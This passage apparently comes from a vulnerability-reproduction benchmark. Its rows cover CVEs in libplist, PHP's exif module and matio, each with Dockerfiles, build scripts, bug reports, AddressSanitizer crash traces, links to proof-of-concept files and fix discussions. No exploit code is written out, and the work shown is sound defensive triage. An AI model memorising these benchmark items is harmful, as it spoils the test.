================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/libimobiledevice/libplist/issues/100
## Description:
Issue: libimobiledevice/libplist#100
Title: heap-buffer-overflow in base64encode
State: closed
Created by: zhunki
Created at: 2017-02-24 08:36:42+00:00
Issue Body:
```
==8523== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5e00791 at pc 0x808605e bp 0xbf92fda8 sp 0xbf92fd9c
READ of size 1 at 0xb5e00791 thread T0
#0 0x808605d in base64encode /home/b/asan/libplist/src/base64.c:58
#1 0x8050406 in node_to_xml /home/b/asan/libplist/src/xplist.c:303
#2 0x806036f in plist_to_xml /home/b/asan/libplist/src/xplist.c:408
#3 0x804a346 in main /home/b/asan/libplist/tools/plistutil.c:151
#4 0xb5f85a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
#5 0x804af35 in _start (/home/b/asan/libplist/tools/plistutil+0x804af35)
0xb5e00791 is located 0 bytes to the right of 1-byte region [0xb5e00790,0xb5e00791)
allocated by thread T0 here:
#0 0xb614d854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854)
#1 0x80621a3 in parse_data_node /home/b/asan/libplist/src/bplist.c:408
#2 0x80621a3 in parse_bin_node /home/b/asan/libplist/src/bplist.c:661
#3 0x80621a3 in parse_bin_node_at_index /home/b/asan/libplist/src/bplist.c:759
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/b/asan/libplist/src/base64.c:58 base64encode
Shadow bytes around the buggy address:
0x36bc00a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36bc00b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36bc00c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36bc00d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36bc00e0: fa fa fa fa fa fa fa fa fa fa 00 04 fa fa 00 04
=>0x36bc00f0: fa fa[01]fa fa fa fd fd fa fa fd fd fa fa 00 04
0x36bc0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36bc0110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36bc0120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36bc0130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36bc0140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap righ redzone: fb
Freed Heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
```
[poc1.txt](https://github.com/libimobiledevice/libplist/files/798696/poc1.txt)
Comments:
Comment by carnil on 2017-03-16 06:14:23+00:00:
This is CVE-2017-6437
---
Comment by carnil on 2017-03-18 20:58:53+00:00:
It is possible that the bug is only present after 1.12, as git has seen some refactoring of `parse_bin_node`. Cf. comments on https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-6437.html
---
Comment by nikias on 2017-03-26 18:12:37+00:00:
Should be fixed with https://github.com/libimobiledevice/libplist/commit/dccd9290745345896e3a4a73154576a599fd8b7b
Attachments:
https://github.com/libimobiledevice/libplist/files/798696/poc1.txt
Commit References:
dccd9290745345896e3a4a73154576a599fd8b7b
|
[] |
[
{
"sha": "dccd9290745345896e3a4a73154576a599fd8b7b",
"url": "https://github.com/libimobiledevice/libplist/commit/dccd9290745345896e3a4a73154576a599fd8b7b"
}
] |
php.cve-2019-11034
|
php/php-src
|
dc1cd3daf2521b352b0c9fa6ade7e49a8cc63130
| 2019-04-02T04:05:09
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev chrpath
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout dc1cd3daf2521b352b0c9fa6ade7e49a8cc63130
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi \
--enable-mbstring
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=77753
## Description:
PHP Bug ID: 77753
Summary: Heap-buffer-overflow in php_ifd_get32s
Status: Closed
PHP Version: 7.1.27
Assigned: stas (profile)
CVE-ID: 2019-11034
Description:
Description:
------------
ASAN finds this problem in Exif module:
==6==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000768c5 at pc 0x000000751f93 bp 0x7ffc05a5e170 sp 0x7ffc05a5e168
READ of size 1 at 0x60b0000768c5 thread T0
SCARINESS: 12 (1-byte-read-heap-buffer-overflow)
#0 0x751f92 in php_ifd_get32s /src/php-src/ext/exif/exif.c:1470:12
#1 0x74ea93 in exif_process_IFD_TAG /src/php-src/ext/exif/exif.c:3230:15
#2 0x751cf6 in exif_process_IFD_in_MAKERNOTE /src/php-src/ext/exif/exif.c:3192:8
#3 0x74fbed in exif_process_IFD_TAG /src/php-src/ext/exif/exif.c:3477:10
#4 0x74d1a1 in exif_process_IFD_in_TIFF /src/php-src/ext/exif/exif.c:4144:12
#5 0x74b531 in exif_scan_FILE_header /src/php-src/ext/exif/exif.c:4227:9
#6 0x74aea7 in exif_read_from_impl /src/php-src/ext/exif/exif.c:4352:8
#7 0x747100 in exif_read_from_file /src/php-src/ext/exif/exif.c:4396:8
#8 0x7457e8 in zif_exif_read_data /src/php-src/ext/exif/exif.c:4469:9
#9 0xd5e4a1 in zend_call_function /src/php-src/Zend/zend_execute_API.c
#10 0xd5cf5c in _call_user_function_ex /src/php-src/Zend/zend_execute_API.c:627:9
#11 0x1092512 in fuzzer_call_php_func_zval /src/php-src/sapi/fuzzer/fuzzer-sapi.c:215:11
#12 0x10928ae in fuzzer_call_php_func /src/php-src/sapi/fuzzer/fuzzer-sapi.c:237:2
#13 0x109174f in LLVMFuzzerTestOneInput /src/php-src/sapi/fuzzer/fuzzer-exif.c:45:2
#14 0x10d4d85 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/libfuzzer/FuzzerLoop.cpp:529:15
#15 0x10950d6 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/libfuzzer/FuzzerDriver.cpp:286:6
#16 0x10a0c03 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/libfuzzer/FuzzerDriver.cpp:715:9
#17 0x109474c in main /src/libfuzzer/FuzzerMain.cpp:19:10
#18 0x7f75cb7c082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#19 0x46f788 in _start (/out/php-fuzz-exif+0x46f788)
0x60b0000768c5 is located 0 bytes to the right of 101-byte region [0x60b000076860,0x60b0000768c5)
allocated by thread T0 here:
#0 0x5023b2 in malloc /src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:145
#1 0xd0ad39 in __zend_malloc /src/php-src/Zend/zend_alloc.c:2936:14
#2 0x74f2de in exif_process_IFD_TAG /src/php-src/ext/exif/exif.c:3280:17
#3 0x74d1a1 in exif_process_IFD_in_TIFF /src/php-src/ext/exif/exif.c:4144:12
#4 0x74b531 in exif_scan_FILE_header /src/php-src/ext/exif/exif.c:4227:9
#5 0x74aea7 in exif_read_from_impl /src/php-src/ext/exif/exif.c:4352:8
#6 0x747100 in exif_read_from_file /src/php-src/ext/exif/exif.c:4396:8
#7 0x7457e8 in zif_exif_read_data /src/php-src/ext/exif/exif.c:4469:9
#8 0xd5e4a1 in zend_call_function /src/php-src/Zend/zend_execute_API.c
#9 0xd5cf5c in _call_user_function_ex /src/php-src/Zend/zend_execute_API.c:627:9
#10 0x1092512 in fuzzer_call_php_func_zval /src/php-src/sapi/fuzzer/fuzzer-sapi.c:215:11
#11 0x10928ae in fuzzer_call_php_func /src/php-src/sapi/fuzzer/fuzzer-sapi.c:237:2
#12 0x109174f in LLVMFuzzerTestOneInput /src/php-src/sapi/fuzzer/fuzzer-exif.c:45:2
#13 0x10d4d85 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/libfuzzer/FuzzerLoop.cpp:529:15
#14 0x10950d6 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/libfuzzer/FuzzerDriver.cpp:286:6
#15 0x10a0c03 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/libfuzzer/FuzzerDriver.cpp:715:9
#16 0x109474c in main /src/libfuzzer/FuzzerMain.cpp:19:10
#17 0x7f75cb7c082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Found by OSS-Fuzz in https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=13723
Comments:
[Comment 1] [2019-03-18 04:41 UTC] [email protected]
The issue seems to be that while this code in exif_process_IFD_in_MAKERNOTE:
if ((2+NumDirEntries*12) > value_len) {
exif_error_docref("exif_read_data#error_ifd" EXIFERR_CC, ImageInfo, E_WARNING, "Illegal IFD size: 2 + 0x%04X*12 = 0x%04X > 0x%04X", NumDirEntries, 2+NumDirEntries*12, value_len);
return FALSE;
}
checks that there's enough data for directory entries, it does not take offset into account.
[Comment 2] [2019-03-18 04:43 UTC] [email protected]
The following patch has been added/updated:
Patch Name: fix-overread
Revision: 1552884210
URL: https://bugs.php.net/patch-display.php?bug=77753&patch=fix-overread&revision=1552884210
Links: https://bugs.php.net/patch-display.php?bug=77753&patch=fix-overread&revision=1552884210
[Comment 3] [2019-03-18 06:04 UTC] [email protected]
Fix also in security repo as 511883584929c42af9d8122f0e79520c17bb771d
Commit References:
511883584929c42af9d8122f0e79520c17bb771d
|
[
{
"content": "deb http://archive.ubuntu.com/ubuntu/ cosmic universe\n\n",
"filename": "cosmic.list"
},
{
"content": "[libfuzzer]\ndetect_leaks=0",
"filename": "runtime.options"
}
] |
[
{
"sha": "511883584929c42af9d8122f0e79520c17bb771d",
"url": "https://github.com/php/php-src/commit/511883584929c42af9d8122f0e79520c17bb771d"
}
] |
matio.cve-2019-9032
|
tbeu/matio
|
55e506b9d46b5ee8036dc7933178f3c59e715ff1
| 2018-10-22T23:21:48
|
matio
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/tbeu/matio matio
RUN git -C matio checkout 55e506b9d46b5ee8036dc7933178f3c59e715ff1
WORKDIR $SRC/matio
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure
make -j$(nproc)
make install -j$(nproc)
|
/src/matio
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/tbeu/matio/issues/103
## Description:
Issue: tbeu/matio#103
Title: some memory corruption problems when the library parse the mat file
State: closed
Created by: cool-tomato
Created at: 2019-02-20 02:24:30+00:00
Labels: bug
Issue Body:
I found several memory corruption problem in the library.
More details can be found at [here](https://github.com/TeamSeri0us/pocs/tree/master/matio).
Comments:
Comment by PhilipMorrisJones on 2019-03-07 04:54:21+00:00:
@tbeu, can you comment on this and say if it is a real vulnerability or not and if so when it is likely to be fixed?
There are 13 CVEs related to this
CVE-2019-9038 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read problem with a SEGV in the function ReadNextCell() in mat5.c.
-- | --
CVE-2019-9037 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a buffer over-read in the function Mat_VarPrint() in mat.c.
CVE-2019-9036 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function ReadNextFunctionHandle() in mat5.c.
CVE-2019-9035 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function ReadNextStructField() in mat5.c.
CVE-2019-9034 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for a memcpy in the function ReadNextCell() in mat5.c.
CVE-2019-9033 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for the "Rank and Dimension" feature in the function ReadNextCell() in mat5.c.
CVE-2019-9032 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds write problem causing a SEGV in the function Mat_VarFree() in mat.c.
CVE-2019-9031 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a NULL pointer dereference in the function Mat_VarFree() in mat.c.
CVE-2019-9030 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9029 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read with a SEGV in the function Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9028 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function InflateDimensions() in inflate.c when called from ReadNextCell in mat5.c.
CVE-2019-9027 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow problem in the function ReadNextCell() in mat5.c.
CVE-2019-9026 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function InflateVarName() in inflate.c when called from ReadNextCell in mat5.c.
---
Comment by tbeu on 2019-03-07 06:23:41+00:00:
Working on them. (That's why I pinned the issue).
---
Comment by tbeu on 2019-03-07 07:36:04+00:00:
And, it only happens with crafted MAT-files (created by fuzzing).
---
Comment by PhilipMorrisJones on 2019-03-07 12:36:41+00:00:
@tbeu, thank you. We use this library and appreciate its compactness and usefulness.
Do you know anything about @cool-tomato and why she would fuzz your code?
---
Comment by tbeu on 2019-03-07 16:04:48+00:00:
Fuzzing is easy, probably fun and gives you some credits. Do not know him/her.
---
Comment by tbeu on 2019-03-09 22:11:12+00:00:
Resolved by a0539135c9b1ab7613aa7953279da9224da88775 and 2c20d2178017b3eb13ab160cef239648f9915bdb in master branch.
---
Comment by TeoShaw on 2019-03-11 06:31:47+00:00:
Great to hear that this has been resolved.
On what time scale will we be able to download 1.5.14 and get access to these security improvements?
Thanks,
T.
---
Comment by tbeu on 2019-03-11 06:55:52+00:00:
Will release v1.5.14 probably tonight.
---
Comment by svillemot on 2019-03-12 14:20:17+00:00:
As far as I can tell, CVE-2019-9036 (heap-based buffer overflow in the function `ReadNextFunctionHandle()`) is not yet fixed.
---
Comment by tbeu on 2019-03-12 18:01:06+00:00:
Hm, can no longer reproduce. Can you give some more details?
---
Comment by svillemot on 2019-03-12 18:08:43+00:00:
On git HEAD (9f7f96d727d), with Debian 9, configured with `./configure CFLAGS="-fsanitize=address -O2" LDFLAGS="-fsanitize=address"`:
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
=================================================================
==29570==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd0 at pc 0x7f5b9c14f9fe bp 0x7ffca66d34a0 sp 0x7ffca66d3498
WRITE of size 8 at 0x60200000efd0 thread T0
#0 0x7f5b9c14f9fd in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd)
#1 0x562dd8c1c9b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#2 0x7f5b9b7f32e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#3 0x562dd8c1d249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1)
allocated by thread T0 here:
#0 0x7f5b9c42dd28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7f5b9c14ef7a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbef7a)
#2 0x7f5b9c1634a7 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd34a7)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd) in Mat_VarReadNextInfo5
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29570==ABORTING
```
---
Comment by tbeu on 2019-03-12 18:57:03+00:00:
Got it.
---
Comment by carnil on 2019-03-14 18:14:43+00:00:
Should the issue in meanwhile be reopened until as well the last bit fixed?
---
Comment by tbeu on 2019-03-15 22:32:32+00:00:
@svillemot Can you please check if 539ca4df145748558d79ac978d05857437ba3332 fixes the issue for you. Thanks.
---
Comment by svillemot on 2019-03-16 16:57:48+00:00:
The overflow seems to be correctly worked around. But then MatIO apparently attempts to allocate an insane amount of memory, I am not sure this is expected:
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
Integer multiplication overflow when calculating number of elements
==14602==WARNING: AddressSanitizer failed to allocate 0x4098900aa0000000 bytes
==14602==AddressSanitizer's allocator is terminating the process instead of returning 0
==14602==If you don't like this behavior set allocator_may_return_null=1
==14602==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:145 "((0)) != (0)" (0x0, 0x0)
#0 0x7f04a03f5ebd (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcaebd)
#1 0x7f04a03fbb13 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xd0b13)
#2 0x7f04a03f9cd6 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcecd6)
#3 0x7f04a0350144 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x25144)
#4 0x7f04a03ecd05 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d05)
#5 0x7f04a010d70f in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbe70f)
#6 0x55c2c84699b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#7 0x7f049f7b22e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#8 0x55c2c846a249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
```
---
Comment by tbeu on 2019-03-16 18:07:45+00:00:
Thanks for confirmation. One other possibility would be to let SafeMulDims return 0 in case of an overflow. What do you think?
---
Comment by svillemot on 2019-03-16 19:38:04+00:00:
Indeed it's probably better to have a zero return value from `SafeMulDims`, which would then be catched and properly handled by the caller.
---
Comment by tbeu on 2019-03-19 13:41:30+00:00:
@svillemot Could you please give 077cbf9ecf495c15edc8546c1acb0cbabf8b6e51 one more try and verify if it finally resolves this issue? Thanks.
---
Comment by svillemot on 2019-03-20 09:43:23+00:00:
Thanks. The only thing still detected by ASAN is a 1-byte memory leak. So, security-wise, the issue is fixed.
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
Empty
=================================================================
==14285==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x7fb2691fed28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7fb268f1f1e2 in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf1e2)
#2 0x7fb268f340af (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd40af)
SUMMARY: AddressSanitizer: 1 byte(s) leaked in 1 allocation(s).
````
---
Comment by tbeu on 2019-03-20 10:28:22+00:00:
Thanks for confirmation. The memory leak actually is a separate issue discoverd en passant and resolved by b73f135ebb5339eec376b1f25e63ab50d0d43b55.
---
Comment by svillemot on 2019-03-22 12:37:44+00:00:
I backported those security fixes to MatIO 1.5.13 for Debian (I had to limit myself to minimal changes, since Debian is currently in freeze).
There are test failures on several architectures, all of which are big-endian, in tests 621, 2825 and 2827. Any idea of what's going on?
---
Comment by svillemot on 2019-03-22 12:38:14+00:00:
The logfiles are accessible at: https://buildd.debian.org/status/package.php?p=libmatio
---
Comment by svillemot on 2019-03-22 12:39:54+00:00:
And here are the patches that I applied: https://salsa.debian.org/science-team/libmatio/tree/master/debian/patches
Note that avoid-int-mult-overflow.patch is a trimmed-down version of your commit.
---
Comment by svillemot on 2019-03-22 14:08:36+00:00:
Ok, got it, it's a manifestation of #108.
---
Comment by svillemot on 2019-03-22 14:30:15+00:00:
Applying adfa218770183cf93f74e7fad5055921ae1f9958 fixes the testsuite regression, but unfortunately it reintroduces CVE-2019-9027 and CVE-2019-9038.
On the current git HEAD, I now get the following:
```
$ tools/matdump ~/pocs/matio/inflate___heap-buffer-overflow-02
=================================================================
==17501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000a739 at pc 0x7fb9549d7f7f bp 0x7ffcfb664400 sp 0x7ffcfb663bb0
READ of size 64 at 0x60200000a739 thread T0
#0 0x7fb9549d7f7e (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
#1 0x7fb953f14238 in inflate (/lib/x86_64-linux-gnu/libz.so.1+0xa238)
#2 0x7fb954699abb in InflateData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xdabb)
#3 0x7fb9546c3184 in ReadCompressedCharData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0x37184)
#4 0x7fb9547436fd in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb76fd)
#5 0x7fb95474804f in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc04f)
#6 0x7fb95474e53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#7 0x55625cfea9c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#8 0x7fb9538872e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#9 0x55625cfeb259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
0x60200000a739 is located 0 bytes to the right of 9-byte region [0x60200000a730,0x60200000a739)
allocated by thread T0 here:
#0 0x7fb954a3ced0 in calloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1ed0)
#1 0x7fb954740187 in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb4187)
#2 0x7fb95476ea4f (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xe2a4f)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
Shadow bytes around the buggy address:
0x0c047fff9490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff94e0: fa fa fa fa fa fa 00[01]fa fa 00 00 fa fa 00 01
0x0c047fff94f0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9500: fa fa 00 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9510: fa fa 01 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9520: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9530: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17501==ABORTING
```
```
$ tools/matdump ~/pocs/matio/[email protected]_1342-33__out-of-bound-read
InflateData: inflate returned data error
InflateSkip: inflate returned data error
ASAN:DEADLYSIGNAL
=================================================================
==14816==ERROR: AddressSanitizer: SEGV on unknown address 0x000d0d8dcdf7 (pc 0x7f1ba88b5077 bp 0x606000003140 sp 0x7ffdb11b5a70 T0)
#0 0x7f1ba88b5076 in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076)
#1 0x7f1ba88bb53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#2 0x5581aaa359c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#3 0x7f1ba79f42e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#4 0x5581aaa36259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076) in ReadNextCell
==14816==ABORTING
```
So this issue should be reopened…
---
Comment by tbeu on 2019-03-22 20:56:05+00:00:
One more iteration loop please: 02625a0e394eeb8bf3ea61641f73de907296a2c4 adds another sanity check.
---
Comment by svillemot on 2019-03-23 09:09:38+00:00:
It is good now, thanks!
Commit References:
02625a0e394eeb8bf3ea61641f73de907296a2c4
077cbf9ecf495c15edc8546c1acb0cbabf8b6e51
2c20d2178017b3eb13ab160cef239648f9915bdb
b73f135ebb5339eec376b1f25e63ab50d0d43b55
539ca4df145748558d79ac978d05857437ba3332
adfa218770183cf93f74e7fad5055921ae1f9958
a0539135c9b1ab7613aa7953279da9224da88775
|
[
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n 